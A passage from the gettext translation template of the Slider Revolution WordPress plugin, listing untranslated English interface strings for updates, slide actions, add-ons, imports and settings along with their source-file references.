"" #: admin/revslider-admin.class.php:1806 msgid "Do you want to start the Update process?" msgstr "" #: admin/revslider-admin.class.php:1807 admin/revslider-admin.class.php:1889 #: admin/views/overview.php:98 msgid "Update Now" msgstr "" #: admin/revslider-admin.class.php:1808 msgid "Higher Level" msgstr "" #: admin/revslider-admin.class.php:1809 msgid "Current Level" msgstr "" #: admin/revslider-admin.class.php:1810 msgid "Other Folders" msgstr "" #: admin/revslider-admin.class.php:1811 msgid "Parent Level" msgstr "" #: admin/revslider-admin.class.php:1812 msgid "from" msgstr "" #: admin/revslider-admin.class.php:1813 msgid "to" msgstr "" #: admin/revslider-admin.class.php:1814 msgid "Action Needed" msgstr "" #: admin/revslider-admin.class.php:1815 msgid "Done" msgstr "" #: admin/revslider-admin.class.php:1816 msgid "Update All" msgstr "" #: admin/revslider-admin.class.php:1817 msgid "Update Later" msgstr "" #: admin/revslider-admin.class.php:1818 msgid "The following AddOns require an update:" msgstr "" #: admin/revslider-admin.class.php:1819 msgid "AddOns need attention" msgstr "" #: admin/revslider-admin.class.php:1820 msgid "Updating Plugin Failed" msgstr "" #: admin/revslider-admin.class.php:1821 msgid "Updating Plugin..." msgstr "" #: admin/revslider-admin.class.php:1822 msgid "License validation issue Occured. Please contact our Support." msgstr "" #: admin/revslider-admin.class.php:1823 msgid "Back to Overview" msgstr "" #: admin/revslider-admin.class.php:1824 msgid "Page is reloading..." msgstr "" #: admin/revslider-admin.class.php:1825 msgid "Update Plugin" msgstr "" #: admin/revslider-admin.class.php:1826 msgid "Slider Revolution Plugin updated Successfully." msgstr "" #: admin/revslider-admin.class.php:1827 msgid "Slider Revolution Plugin updated Failure:" msgstr "" #: admin/revslider-admin.class.php:1828 msgid "Slider Revolution Plugin updated Successfully to" msgstr "" #: admin/revslider-admin.class.php:1829 msgid "Reload Page" msgstr "" #: admin/revslider-admin.class.php:1830 #: admin/includes/shortcode_generator/shortcode_generator.class.php:123 msgid "Loading" msgstr "" #: admin/revslider-admin.class.php:1831 #: admin/includes/shortcode_generator/shortcode_generator.class.php:124 msgid "Elements" msgstr "" #: admin/revslider-admin.class.php:1832 #: admin/includes/shortcode_generator/shortcode_generator.class.php:125 msgid "Loading Thumbnails..." msgstr "" #: admin/revslider-admin.class.php:1833 msgid "jQuery Triggered" msgstr "" #: admin/revslider-admin.class.php:1834 msgid "<a> Tag Link" msgstr "" #: admin/revslider-admin.class.php:1835 #: admin/views/builder-slider-forms.php:919 msgid "First Slide" msgstr "" #: admin/revslider-admin.class.php:1836 admin/revslider-admin.class.php:1990 #: admin/views/modals-builder.php:448 admin/views/builder-layer-forms.php:360 msgid "Last Slide" msgstr "" #: admin/revslider-admin.class.php:1837 admin/revslider-admin.class.php:1916 #: admin/views/modals-builder.php:406 msgid "Next Slide" msgstr "" #: admin/revslider-admin.class.php:1838 admin/revslider-admin.class.php:1917 #: admin/views/modals-builder.php:400 msgid "Previous Slide" msgstr "" #: admin/revslider-admin.class.php:1839 msgid "" "Some Settings in Slider Source may not complete.
            Please " "Complete All Settings in Slider Sources." msgstr "" #: admin/revslider-admin.class.php:1840 msgid "" "Some Layers are Locked and/or Invisible." "
            Change Status in Timeline." msgstr "" #: admin/revslider-admin.class.php:1841 msgid "Editor is Loading..." msgstr "" #: admin/revslider-admin.class.php:1842 msgid "Adding new Blank Module..." msgstr "" #: admin/revslider-admin.class.php:1843 msgid "Opening" msgstr "" #: admin/revslider-admin.class.php:1844 msgid "Featured Images" msgstr "" #: admin/revslider-admin.class.php:1845 admin/revslider-admin.class.php:1948 #: admin/includes/shortcode_generator/shortcode_generator.class.php:113 msgid "Images" msgstr "" #: admin/revslider-admin.class.php:1846 admin/views/builder-slider-forms.php:99 #: admin/views/builder-slider-forms.php:1244 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "None" msgstr "" #: admin/revslider-admin.class.php:1847 admin/views/builder-slide-forms.php:694 #: admin/views/builder-slide-forms.php:703 #: admin/views/builder-layer-forms.php:570 msgid "Select" msgstr "" #: admin/revslider-admin.class.php:1848 admin/views/builder-slide-forms.php:695 #: admin/views/builder-slide-forms.php:704 #: admin/views/builder-layer-forms.php:309 msgid "Reset" msgstr "" #: admin/revslider-admin.class.php:1849 #: admin/views/builder-slider-forms.php:462 admin/views/modals-builder.php:234 #: admin/views/modals-builder.php:322 admin/views/builder-slide-forms.php:175 #: admin/views/builder-slide-forms.php:187 #: admin/views/builder-layer-forms.php:1089 msgid "Custom" msgstr "" #: admin/revslider-admin.class.php:1850 msgid "OUT" msgstr "" #: admin/revslider-admin.class.php:1851 msgid "IN" msgstr "" #: admin/revslider-admin.class.php:1852 admin/views/builder-nav-forms.php:16 msgid "Navigation Options" msgstr "" #: admin/revslider-admin.class.php:1853 admin/views/builder-slider-forms.php:52 msgid "Module General Options" msgstr "" #: admin/revslider-admin.class.php:1854 admin/views/builder-slide-forms.php:17 msgid "Slide Options" msgstr "" #: admin/revslider-admin.class.php:1855 msgid "Layer Options" msgstr "" #: admin/revslider-admin.class.php:1856 msgid "Set a Slide Background Image to use this feature" msgstr "" #: admin/revslider-admin.class.php:1872 msgid "HTML" msgstr "" #: admin/revslider-admin.class.php:1883 msgid "Release to Upload file" msgstr "" #: admin/revslider-admin.class.php:1884 msgid "Module .zip" msgstr "" #: admin/revslider-admin.class.php:1885 msgid "Processing Import of" msgstr "" #: admin/revslider-admin.class.php:1886 msgid "An Error Occured while importing" msgstr "" #: admin/revslider-admin.class.php:1887 msgid "File Succesfully Imported" msgstr "" #: admin/revslider-admin.class.php:1888 msgid "Import Report" msgstr "" #: admin/revslider-admin.class.php:1890 msgid "Activate To Update" msgstr "" #: admin/revslider-admin.class.php:1891 msgid "Activated" msgstr "" #: admin/revslider-admin.class.php:1892 msgid "Not Activated" msgstr "" #: admin/revslider-admin.class.php:1893 msgid "Register this Code" msgstr "" #: admin/revslider-admin.class.php:1894 admin/views/overview.php:134 msgid "Deregister this Code" msgstr "" #: admin/revslider-admin.class.php:1895 msgid "Standard Module Embedding" msgstr "" #: admin/revslider-admin.class.php:1896 msgid "For the pages and posts editor insert the Shortcode:" msgstr "" #: admin/revslider-admin.class.php:1897 msgid "" "To Use it as Modal on pages and posts editor insert the " "Shortcode:" msgstr "" #: admin/revslider-admin.class.php:1898 msgid "" "From the widgets panel drag the \"Revolution Module\" widget to the " "desired sidebar." msgstr "" #: admin/revslider-admin.class.php:1899 msgid "Advanced Module Embedding" msgstr "" #: admin/revslider-admin.class.php:1900 msgid "For the theme html use:" msgstr "" #: admin/revslider-admin.class.php:1901 msgid "To add the slider only to the homepage, use:" msgstr "" #: admin/revslider-admin.class.php:1902 msgid "To add the slider only to single Pages, use:" msgstr "" #: admin/revslider-admin.class.php:1903 msgid "Select a Layer" msgstr "" #: admin/revslider-admin.class.php:1904 msgid "Link Actions" msgstr "" #: admin/revslider-admin.class.php:1905 msgid "Slide Actions" msgstr "" #: admin/revslider-admin.class.php:1906 msgid "Layer Actions" msgstr "" #: admin/revslider-admin.class.php:1907 msgid "Media Actions" msgstr "" #: admin/revslider-admin.class.php:1908 msgid "Fullscreen Actions" msgstr "" #: admin/revslider-admin.class.php:1909 msgid "Advanced Actions" msgstr "" #: admin/revslider-admin.class.php:1910 msgid "Simple Link" msgstr "" #: admin/revslider-admin.class.php:1911 msgid "Call Back" msgstr "" #: admin/revslider-admin.class.php:1912 admin/revslider-admin.class.php:1923 msgid "Open Slider Modal" msgstr "" #: admin/revslider-admin.class.php:1913 msgid "Scroll below Slider" msgstr "" #: admin/revslider-admin.class.php:1914 msgid "Scroll To ID" msgstr "" #: admin/revslider-admin.class.php:1915 admin/views/modals-builder.php:782 msgid "Jump to Slide" msgstr "" #: admin/revslider-admin.class.php:1918 msgid "Next Frame" msgstr "" #: admin/revslider-admin.class.php:1919 msgid "Previous Frame" msgstr "" #: admin/revslider-admin.class.php:1920 admin/views/modals-builder.php:388 #: admin/views/builder-slide-forms.php:564 msgid "Pause Slider" msgstr "" #: admin/revslider-admin.class.php:1921 msgid "Play Slide" msgstr "" #: admin/revslider-admin.class.php:1922 msgid "Close Slider Modal" msgstr "" #: admin/revslider-admin.class.php:1924 msgid "Toggle Slider" msgstr "" #: admin/revslider-admin.class.php:1925 msgid "Go to 1st Frame " msgstr "" #: admin/revslider-admin.class.php:1926 msgid "Go to Last Frame" msgstr "" #: admin/revslider-admin.class.php:1927 msgid "Go to Frame \"N\"" msgstr "" #: admin/revslider-admin.class.php:1928 msgid "Toggle 1st / Last Frame" msgstr "" #: admin/revslider-admin.class.php:1929 msgid "Toggle \"N/M\" Frames" msgstr "" #: admin/revslider-admin.class.php:1930 msgid "Start Media" msgstr "" #: admin/revslider-admin.class.php:1931 msgid "Stop Media" msgstr "" #: admin/revslider-admin.class.php:1932 msgid "Toggle Media" msgstr "" #: admin/revslider-admin.class.php:1933 msgid "Mute Media" msgstr "" #: admin/revslider-admin.class.php:1934 msgid "Unmute Media" msgstr "" #: admin/revslider-admin.class.php:1935 msgid "Toggle Mute Media" msgstr "" #: admin/revslider-admin.class.php:1936 msgid "Toggle Mute All Media" msgstr "" #: admin/revslider-admin.class.php:1937 msgid "Toggle Fullscreen" msgstr "" #: admin/revslider-admin.class.php:1938 msgid "Enter Fullscreen" msgstr "" #: admin/revslider-admin.class.php:1939 msgid "Exit Fullscreen" msgstr "" #: admin/revslider-admin.class.php:1940 msgid "Simulate Click" msgstr "" #: admin/revslider-admin.class.php:1941 msgid "Toggle Class" msgstr "" #: admin/revslider-admin.class.php:1942 admin/views/builder-layer-forms.php:228 #: admin/views/builder-layer-forms.php:862 msgid "Disabled" msgstr "" #: admin/revslider-admin.class.php:1943 msgid "Background Video" msgstr "" #: admin/revslider-admin.class.php:1944 admin/revslider-admin.class.php:1945 msgid "Video in Active Slide" msgstr "" #: admin/revslider-admin.class.php:1946 admin/views/builder-layer-forms.php:419 #: admin/includes/shortcode_generator/shortcode_generator.class.php:154 msgid "Behavior" msgstr "" #: admin/revslider-admin.class.php:1947 admin/views/modals-builder.php:722 msgid "Add Action to " msgstr "" #: admin/revslider-admin.class.php:1949 #: admin/includes/shortcode_generator/shortcode_generator.class.php:114 msgid "Layer Objects" msgstr "" #: admin/revslider-admin.class.php:1950 #: admin/includes/shortcode_generator/shortcode_generator.class.php:115 msgid "Objects" msgstr "" #: admin/revslider-admin.class.php:1951 #: admin/includes/shortcode_generator/shortcode_generator.class.php:116 msgid "Own Modules" msgstr "" #: admin/revslider-admin.class.php:1952 #: admin/includes/shortcode_generator/shortcode_generator.class.php:117 msgid "Font Icons" msgstr "" #: admin/revslider-admin.class.php:1953 #: admin/includes/shortcode_generator/shortcode_generator.class.php:118 msgid "Module Templates" msgstr "" #: admin/revslider-admin.class.php:1954 #: admin/includes/shortcode_generator/shortcode_generator.class.php:119 msgid "Videos" msgstr "" #: admin/revslider-admin.class.php:1955 #: admin/includes/shortcode_generator/shortcode_generator.class.php:120 msgid "SVG's" msgstr "" #: admin/revslider-admin.class.php:1956 #: admin/includes/shortcode_generator/shortcode_generator.class.php:121 msgid "Favorites" msgstr "" #: admin/revslider-admin.class.php:1957 #: admin/includes/shortcode_generator/shortcode_generator.class.php:128 msgid "Installed" msgstr "" #: admin/revslider-admin.class.php:1958 admin/revslider-admin.class.php:2018 #: admin/includes/shortcode_generator/shortcode_generator.class.php:129 msgid "Not Installed" msgstr "" #: admin/revslider-admin.class.php:1959 #: admin/includes/shortcode_generator/shortcode_generator.class.php:130 msgid "Setup Notes" msgstr "" #: admin/revslider-admin.class.php:1960 #: admin/includes/shortcode_generator/shortcode_generator.class.php:131 msgid "Requirements" msgstr "" #: admin/revslider-admin.class.php:1961 admin/views/overview.php:93 #: admin/includes/shortcode_generator/shortcode_generator.class.php:132 msgid "Installed Version" msgstr "" #: admin/revslider-admin.class.php:1962 msgid "Use LineBreaks only in Columns" msgstr "" #: admin/revslider-admin.class.php:1963 admin/views/overview.php:95 #: admin/includes/shortcode_generator/shortcode_generator.class.php:133 msgid "Available Version" msgstr "" #: admin/revslider-admin.class.php:1964 #: admin/includes/shortcode_generator/shortcode_generator.class.php:134 msgid "Install Template Package" msgstr "" #: admin/revslider-admin.class.php:1965 #: admin/includes/shortcode_generator/shortcode_generator.class.php:135 msgid "Install Template" msgstr "" #: admin/revslider-admin.class.php:1966 msgid "Installing Template" msgstr "" #: admin/revslider-admin.class.php:1967 #: admin/includes/shortcode_generator/shortcode_generator.class.php:140 msgid "Search" msgstr "" #: admin/revslider-admin.class.php:1968 #: admin/includes/shortcode_generator/shortcode_generator.class.php:141 msgid "FOLDER" msgstr "" #: admin/revslider-admin.class.php:1969 #: admin/includes/shortcode_generator/shortcode_generator.class.php:126 msgid "MODULE" msgstr "" #: admin/revslider-admin.class.php:1970 #: admin/includes/shortcode_generator/shortcode_generator.class.php:142 msgid "OBJECT" msgstr "" #: admin/revslider-admin.class.php:1971 #: admin/includes/shortcode_generator/shortcode_generator.class.php:127 msgid "PACKAGE" msgstr "" #: admin/revslider-admin.class.php:1972 #: admin/includes/shortcode_generator/shortcode_generator.class.php:143 msgid "IMAGE" msgstr "" #: admin/revslider-admin.class.php:1973 #: admin/includes/shortcode_generator/shortcode_generator.class.php:144 msgid "VIDEO" msgstr "" #: admin/revslider-admin.class.php:1974 #: admin/includes/shortcode_generator/shortcode_generator.class.php:145 msgid "ICON" msgstr "" #: admin/revslider-admin.class.php:1975 admin/views/builder-layer-forms.php:541 #: admin/includes/shortcode_generator/shortcode_generator.class.php:146 msgid "SVG" msgstr "" #: admin/revslider-admin.class.php:1976 #: admin/includes/shortcode_generator/shortcode_generator.class.php:147 msgid "FONT" msgstr "" #: admin/revslider-admin.class.php:1977 #: admin/includes/shortcode_generator/shortcode_generator.class.php:137 msgid "Re-Download Online" msgstr "" #: admin/revslider-admin.class.php:1978 #: admin/includes/shortcode_generator/shortcode_generator.class.php:138 msgid "Create Blank Page" msgstr "" #: admin/revslider-admin.class.php:1979 #: admin/includes/shortcode_generator/shortcode_generator.class.php:139 msgid "Please Wait a moment" msgstr "" #: admin/revslider-admin.class.php:1980 msgid "Changing Screen Size" msgstr "" #: admin/revslider-admin.class.php:1981 msgid "Headlines" msgstr "" #: admin/revslider-admin.class.php:1982 admin/views/builder-slider-forms.php:57 #: admin/views/builder-slider-forms.php:450 #: admin/views/builder-slider-forms.php:456 #: admin/views/builder-nav-forms.php:86 admin/views/builder-nav-forms.php:141 #: admin/views/builder-nav-forms.php:283 admin/views/builder-nav-forms.php:430 #: admin/views/builder-nav-forms.php:613 admin/views/builder-layer-forms.php:28 #: admin/views/builder-layer-forms.php:52 #: admin/includes/shortcode_generator/shortcode_generator.class.php:218 msgid "Content" msgstr "" #: admin/revslider-admin.class.php:1983 msgid "Buttons" msgstr "" #: admin/revslider-admin.class.php:1984 msgid "BG & Space" msgstr "" #: admin/revslider-admin.class.php:1985 admin/revslider-admin.class.php:1986 #: admin/views/builder-slider-forms.php:1110 msgid "Shadow" msgstr "" #: admin/revslider-admin.class.php:1987 msgid "Saving Slide" msgstr "" #: admin/revslider-admin.class.php:1988 msgid "Loading Configuration" msgstr "" #: admin/revslider-admin.class.php:1989 msgid "Updating Lists" msgstr "" #: admin/revslider-admin.class.php:1992 msgid "Slider Settings" msgstr "" #: admin/revslider-admin.class.php:1993 msgid "Animate From" msgstr "" #: admin/revslider-admin.class.php:1994 msgid "Keyframe #" msgstr "" #: admin/revslider-admin.class.php:1995 msgid "Transform Idle" msgstr "" #: admin/revslider-admin.class.php:1996 #: admin/includes/plugin-update.class.php:3423 msgid "Anim From" msgstr "" #: admin/revslider-admin.class.php:1997 admin/revslider-admin.class.php:1998 #: admin/includes/plugin-update.class.php:3527 #: admin/includes/plugin-update.class.php:3612 msgid "Anim To" msgstr "" #: admin/revslider-admin.class.php:1999 msgid "Keyframe" msgstr "" #: admin/revslider-admin.class.php:2000 msgid "Not Enough space between Frames." msgstr "" #: admin/revslider-admin.class.php:2001 msgid "Frame Size can not be Extended. Not enough Space." msgstr "" #: admin/revslider-admin.class.php:2002 msgid "Loop Template" msgstr "" #: admin/revslider-admin.class.php:2003 msgid "Animation Template" msgstr "" #: admin/revslider-admin.class.php:2004 msgid "Choose Image" msgstr "" #: admin/revslider-admin.class.php:2005 msgid "Choose Video" msgstr "" #: admin/revslider-admin.class.php:2006 msgid "Slider Revolution Shortcode Creator" msgstr "" #: admin/revslider-admin.class.php:2007 msgid "Shortcode Generator" msgstr "" #: admin/revslider-admin.class.php:2008 msgid "Please add at least one Layer." msgstr "" #: admin/revslider-admin.class.php:2009 msgid "Shortcode parsing successfull. Items can be found in step 3" msgstr "" #: admin/revslider-admin.class.php:2010 msgid "Shortcode could not be parsed." msgstr "" #: admin/revslider-admin.class.php:2011 msgid "Addon Required" msgstr "" #: admin/revslider-admin.class.php:2012 #: admin/includes/shortcode_generator/shortcode_generator.class.php:136 msgid "Activate License" msgstr "" #: admin/revslider-admin.class.php:2013 msgid "Search Icons..." msgstr "" #: admin/revslider-admin.class.php:2014 msgid "Save Current Template" msgstr "" #: admin/revslider-admin.class.php:2015 msgid "Overwrite Template ?" msgstr "" #: admin/revslider-admin.class.php:2016 msgid "Delete Template ?" msgstr "" #: admin/revslider-admin.class.php:2017 msgid "Credits" msgstr "" #: admin/revslider-admin.class.php:2019 admin/views/builder-nav-forms.php:810 #: admin/views/builder-nav-forms.php:828 #: admin/views/builder-layer-forms.php:928 msgid "Enabled" msgstr "" #: admin/revslider-admin.class.php:2020 msgid "Global" msgstr "" #: admin/revslider-admin.class.php:2021 msgid "Install Add-On" msgstr "" #: admin/revslider-admin.class.php:2022 msgid "Install" msgstr "" #: admin/revslider-admin.class.php:2023 msgid "Enable Add-On" msgstr "" #: admin/revslider-admin.class.php:2024 msgid "Disable Add-On" msgstr "" #: admin/revslider-admin.class.php:2025 msgid "Enable Global Add-On" msgstr "" #: admin/revslider-admin.class.php:2026 msgid "Disable Global Add-On" msgstr "" #: admin/revslider-admin.class.php:2027 msgid "Slider Revolution Version" msgstr "" #: admin/revslider-admin.class.php:2028 msgid "Check Requirements" msgstr "" #: admin/revslider-admin.class.php:2029 msgid "Activate Global Add-On" msgstr "" #: admin/revslider-admin.class.php:2030 msgid "Activate Add-On" msgstr "" #: admin/revslider-admin.class.php:2031 msgid "Activating Add-On" msgstr "" #: admin/revslider-admin.class.php:2032 msgid "Enabling Add-On" msgstr "" #: admin/revslider-admin.class.php:2033 msgid "Add-On" msgstr "" #: admin/revslider-admin.class.php:2034 msgid "Installing Add-On" msgstr "" #: admin/revslider-admin.class.php:2035 msgid "Disabling Add-On" msgstr "" #: admin/revslider-admin.class.php:2036 msgid "Building Select Boxes" msgstr "" #: admin/revslider-admin.class.php:2037 msgid "Warning" msgstr "" #: admin/revslider-admin.class.php:2038 msgid "Blank Page Created" msgstr "" #: admin/revslider-admin.class.php:2039 msgid "Blank page has been created:" msgstr "" #: admin/revslider-admin.class.php:2040 msgid "Visit Page" msgstr "" #: admin/revslider-admin.class.php:2041 msgid "Edit Page" msgstr "" #: admin/revslider-admin.class.php:2042 msgid "Close" msgstr "" #: admin/revslider-admin.class.php:2043 msgid "The changes you made require a page reload!" msgstr "" #: admin/revslider-admin.class.php:2044 msgid "Save your project & reload the page or cancel" msgstr "" #: admin/revslider-admin.class.php:2045 msgid "Save & Reload" msgstr "" #: admin/revslider-admin.class.php:2046 msgid "Cancel & Reload Later" msgstr "" #: admin/revslider-admin.class.php:2047 admin/views/modals-general.php:61 msgid "Save Configuration" msgstr "" #: admin/revslider-admin.class.php:2048 msgid "Updating" msgstr "" #: admin/revslider-admin.class.php:2049 msgid "Enable/Disable Add-On on Module" msgstr "" #: admin/revslider-admin.class.php:2050 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:157 msgid "Sort by Creation" msgstr "" #: admin/revslider-admin.class.php:2051 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:158 msgid "Creation Ascending" msgstr "" #: admin/revslider-admin.class.php:2052 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:159 msgid "Sort by Title" msgstr "" #: admin/revslider-admin.class.php:2053 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:160 msgid "Title Descending" msgstr "" #: admin/revslider-admin.class.php:2054 #: admin/includes/shortcode_generator/shortcode_generator.class.php:150 msgid "Update List" msgstr "" #: admin/revslider-admin.class.php:2055 msgid "Audio Wave Library is Loading..." msgstr "" #: admin/revslider-admin.class.php:2056 msgid "Loading RevMirror Library..." msgstr "" #: admin/revslider-admin.class.php:2057 msgid "Lock / Unlock Selected" msgstr "" #: admin/revslider-admin.class.php:2058 #: admin/includes/shortcode_generator/shortcode_generator.class.php:155 msgid "Layers Importing" msgstr "" #: admin/revslider-admin.class.php:2059 #: admin/includes/shortcode_generator/shortcode_generator.class.php:156 msgid "Nothing Selected" msgstr "" #: admin/revslider-admin.class.php:2060 #: admin/includes/shortcode_generator/shortcode_generator.class.php:153 msgid "Layer with Action" msgstr "" #: admin/revslider-admin.class.php:2061 #: admin/includes/shortcode_generator/shortcode_generator.class.php:151 msgid "Image is Loading..." msgstr "" #: admin/revslider-admin.class.php:2062 #: admin/includes/shortcode_generator/shortcode_generator.class.php:152 msgid "Importing Layers..." msgstr "" #: admin/revslider-admin.class.php:2063 msgid "Triggered By" msgstr "" #: admin/revslider-admin.class.php:2064 msgid "Imported" msgstr "" #: admin/revslider-admin.class.php:2065 msgid "LAYERS" msgstr "" #: admin/revslider-admin.class.php:2066 admin/views/builder-layer-forms.php:37 msgid "Responsivity" msgstr "" #: admin/revslider-admin.class.php:2067 msgid "The changes you made will be lost!" msgstr "" #: admin/revslider-admin.class.php:2068 msgid "Are you sure you want to continue?" msgstr "" #: admin/revslider-admin.class.php:2069 msgid "Are you sure you want to export " msgstr "" #: admin/revslider-admin.class.php:2070 msgid "Are you sure you want to delete " msgstr "" #: admin/revslider-admin.class.php:2071 msgid "Delete All Sliders and Folders included in " msgstr "" #: admin/revslider-admin.class.php:2072 msgid "Leave without Save" msgstr "" #: admin/revslider-admin.class.php:2073 msgid "Updating the Plugin may take a few moments." msgstr "" #: admin/revslider-admin.class.php:2074 msgid "Downloading the Zip File may take a few moments." msgstr "" #: admin/revslider-admin.class.php:2075 msgid "Export Slider" msgstr "" #: admin/revslider-admin.class.php:2076 msgid "Yes, Export Slider" msgstr "" #: admin/revslider-admin.class.php:2077 msgid "Yes, Delete Slider" msgstr "" #: admin/revslider-admin.class.php:2078 msgid "Yes, Delete Slide" msgstr "" #: admin/revslider-admin.class.php:2079 msgid "Yes, Delete All Slider(s)" msgstr "" #: admin/revslider-admin.class.php:2080 msgid "Stay in Edior" msgstr "" #: admin/revslider-admin.class.php:2081 msgid "Redirecting to Overview Page" msgstr "" #: admin/revslider-admin.class.php:2082 msgid "Leaving current Page" msgstr "" #: admin/revslider-admin.class.php:2083 msgid "as HTML Document" msgstr "" #: admin/revslider-admin.class.php:2084 msgid "Preparing Data..." msgstr "" #: admin/revslider-admin.class.php:2085 msgid "Loading Content..." msgstr "" #: admin/revslider-admin.class.php:2086 admin/views/builder.php:142 msgid "Copy" msgstr "" #: admin/revslider-admin.class.php:2087 admin/views/builder.php:143 msgid "Paste" msgstr "" #: admin/revslider-admin.class.php:2088 msgid "WAIT" msgstr "" #: admin/revslider-admin.class.php:2089 msgid "1st Frame" msgstr "" #: admin/revslider-admin.class.php:2090 msgid "Last Frame" msgstr "" #: admin/revslider-admin.class.php:2091 msgid "on Action" msgstr "" #: admin/revslider-admin.class.php:2092 msgid "This action can not be undone !!" msgstr "" #: admin/revslider-admin.class.php:2093 msgid "Delete Slider" msgstr "" #: admin/revslider-admin.class.php:2094 msgid "Delete Slide" msgstr "" #: admin/revslider-admin.class.php:2095 msgid "This can be Undone only within the Current session." msgstr "" #: admin/revslider-admin.class.php:2096 msgid "Are you sure you want to delete the selected Slide:" msgstr "" #: admin/revslider-admin.class.php:2097 #: admin/views/builder-slider-forms.php:1264 msgid "Cancel" msgstr "" #: admin/revslider-admin.class.php:2098 msgid "Add-Ons" msgstr "" #: admin/revslider-admin.class.php:2099 msgid "Deleting Slider" msgstr "" #: admin/revslider-admin.class.php:2100 msgid "Template & Object Library" msgstr "" #: admin/revslider-admin.class.php:2101 msgid "Instant Updates" msgstr "" #: admin/revslider-admin.class.php:2102 msgid "1on1 Support" msgstr "" #: admin/revslider-admin.class.php:2103 msgid "Get a Purchase Code" msgstr "" #: admin/revslider-admin.class.php:2104 msgid "I have a Purchase Code" msgstr "" #: admin/revslider-admin.class.php:2105 msgid "Register Slider Revolution
            to Unlock Premium Features" msgstr "" #: admin/revslider-admin.class.php:2106 admin/views/overview.php:123 msgid "Register Purchase Code" msgstr "" #: admin/revslider-admin.class.php:2107 msgid "1 Purchase Code per Website!" msgstr "" #: admin/revslider-admin.class.php:2108 msgid "" "If you want to use your purchase code on
            another domain, please " "deregister it first or" msgstr "" #: admin/revslider-admin.class.php:2109 msgid "Parallax is now generally Enabled" msgstr "" #: admin/revslider-admin.class.php:2110 msgid "Scroll Based Timeline is now generally Enabled" msgstr "" #: admin/revslider-admin.class.php:2111 msgid "Filter Effect Scroll is now generally Enabled" msgstr "" #: admin/revslider-admin.class.php:2112 msgid "Slide has no Layers" msgstr "" #: admin/revslider-admin.class.php:2113 msgid "Changes that you made may not be saved." msgstr "" #: admin/revslider-admin.class.php:2114 #: admin/includes/shortcode_generator/shortcode_generator.class.php:161 msgid "Add Slider as Modal" msgstr "" #: admin/revslider-admin.class.php:2137 msgid "Wrong Request" msgstr "" #: admin/includes/widget.class.php:14 msgid "Displays a Slider Revolution Module on the page" msgstr "" #: admin/includes/widget.class.php:33 msgid "No Sliders found, Please create a Slider first" msgstr "" #: admin/includes/widget.class.php:51 admin/views/builder-slider-forms.php:54 #: admin/views/builder-slider-forms.php:76 #: admin/views/builder-slider-forms.php:544 #: admin/views/builder-slider-forms.php:662 admin/views/modals-builder.php:352 #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 #: admin/views/builder-layer-forms.php:880 msgid "Title" msgstr "" #: admin/includes/widget.class.php:55 msgid "Choose Slider" msgstr "" #: admin/includes/widget.class.php:66 msgid "Home Page Only" msgstr "" #: admin/includes/widget.class.php:70 msgid "Pages (example: 2,10):" msgstr "" #: admin/includes/tooltips.class.php:16 msgid "Docs" msgstr "" #: admin/includes/template.class.php:57 msgid "" "Can't write the file into the uploads folder of WordPress, please change " "permissions and try again!" msgstr "" #: admin/includes/template.class.php:64 msgid "" "Can't connect programatically to the ThemePunch servers, please check your " "webserver settings" msgstr "" #: admin/includes/template.class.php:67 msgid "" "Can't write into the uploads folder of WordPress, please change permissions " "and try again!" msgstr "" #: admin/includes/export-html.class.php:51 msgid "Wrong request!" msgstr "" #: admin/includes/export-html.class.php:304 msgid "" "Using this data is only allowed with a valid licence of the jQuery Slider " "Revolution Plugin, which can be found at CodeCanyon: http://codecanyon." "net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunch" msgstr "" #: admin/includes/plugin-update.class.php:5859 msgid "On Stage" msgstr "" #: admin/includes/addons.class.php:110 admin/includes/addons.class.php:135 msgid "Please activate Slider Revolution" msgstr "" #: admin/includes/import.class.php:137 msgid "No file sent." msgstr "" #: admin/includes/import.class.php:140 msgid "Exceeded filesize limit." msgstr "" #: admin/includes/import.class.php:152 msgid "Import file not found" msgstr "" #: admin/includes/import.class.php:199 msgid "slider_export.txt does not exist!" msgstr "" #: admin/includes/import.class.php:423 msgid "Please select the correct zip file, checksum failed!" msgstr "" #: admin/includes/import.class.php:470 admin/includes/import.class.php:552 msgid "" "Wrong export slider file format! Please make sure that the uploaded file is " "either a zip file with a correct slider_export.txt in the root of it or an " "valid slider_export.txt file." msgstr "" #: admin/includes/import.class.php:1540 msgid "could not find correct Slide to copy, please try again." msgstr "" #: admin/includes/import.class.php:1663 msgid " not found!" msgstr "" #: admin/includes/export.class.php:474 msgid "Can't create zip file: " msgstr "" #: admin/views/modals-general.php:22 msgid "Decision Modal Title" msgstr "" #: admin/views/modals-general.php:27 msgid "Do It" msgstr "" #: admin/views/modals-general.php:28 msgid "Dont Do It" msgstr "" #: admin/views/modals-general.php:40 msgid "Copy Embed Code" msgstr "" #: admin/views/modals-general.php:55 admin/views/builder-slider-forms.php:62 msgid "Addons" msgstr "" #: admin/views/modals-general.php:55 msgid "Check for Updates" msgstr "" #: admin/views/modals-general.php:59 msgid "Slider Revolution Addons" msgstr "" #: admin/views/modals-general.php:59 msgid "Please select an Addon to start with." msgstr "" #: admin/views/modals-overview.php:19 admin/views/modals-builder.php:26 msgid "Welcome to Slider Revolution 6" msgstr "" #: admin/views/modals-overview.php:63 msgid "Global Settings" msgstr "" #: admin/views/modals-overview.php:65 msgid "Permission" msgstr "" #: admin/views/modals-overview.php:66 msgid "To Admin" msgstr "" #: admin/views/modals-overview.php:67 msgid "To Editor, Admin" msgstr "" #: admin/views/modals-overview.php:68 msgid "Author, Editor, Admin" msgstr "" #: admin/views/modals-overview.php:71 msgid "Include Libraries Globaly" msgstr "" #: admin/views/modals-overview.php:72 msgid "List of Pages to include Revslider Libraries " msgstr "" #: admin/views/modals-overview.php:72 msgid "Example 2,homepage,5" msgstr "" #: admin/views/modals-overview.php:74 msgid "Insert scripts in Footer" msgstr "" #: admin/views/modals-overview.php:75 msgid "Defer JavaScript Loading" msgstr "" #: admin/views/modals-overview.php:77 msgid "Optional Font Loading URL" msgstr "" #: admin/views/modals-overview.php:77 msgid "ie. http://fonts.useso.com/css?family for chinese 